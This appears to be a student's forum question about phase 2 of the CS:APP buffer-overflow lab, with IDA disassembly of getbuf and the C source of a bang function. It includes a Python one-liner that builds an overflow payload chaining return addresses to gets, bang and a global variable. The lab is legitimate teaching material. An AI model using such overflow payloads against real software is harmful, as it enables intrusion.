I have a lab in computer system a programer's perspective. Task is exploit by buffer overflow to call bang function. In phase2: I must change global_value = cookie to have complete. I tried to use IDA PRO call gets fucntion with parameter is address of global_value and then I will enter input global_value=cookie,but it don't be enter and return address of global_value. Why don't enter input? and why it return address of global_value.detail at: http://csapp.cs.cmu.edu/3e/buflab32.pdfMy string: python -c 'print A*44 + \xFA\x8C\x04\x08 + \xA8\x8C\x04\x08 +\x08\xD1\x04\x08' | ./linux_server\xFA\x8C\x04\x08 is address of gets function\xA8\x8C\x04\x08 is address of bang function\x08\xD1\x04\x08 is address of global_value// getbuf function to get input.text:080491F4 ; Attributes: bp-based frame.text:080491F4.text:080491F4 public getbuf.text:080491F4 getbuf proc near                        ; CODE XREF: test+Fp.text:080491F4.text:080491F4 var_28= byte ptr -28h.text:080491F4.text:080491F4 push    ebp.text:080491F5 mov     ebp, esp.text:080491F7 sub     esp, 38h.text:080491FA lea     eax, [ebp+var_28].text:080491FD mov     [esp], eax.text:08049200 call    Gets.text:08049205 mov     eax, 1.text:0804920A leave.text:0804920B retn.text:0804920B getbuf endp.text:0804920B.text:0804920C.text:0804920C ; =============== S U B R O U T I N E =======================================.text:0804920C.text:0804920C ; Attributes: bp-based frame.text:0804920C.text:0804920C public getbufn.text:0804920C getbufn proc near  function bang:   int global_value = 0;    void bang(int val)    {    if (global_value == cookie) {    printf(Bang!: You set global_value to 0x%x\n, global_value);    validate(2);    } else    printf(Misfire: global_value = 0x%x\n, global_value);    exit(0);    }
Bufbomb phase2?
exploit;buffer overflow;stack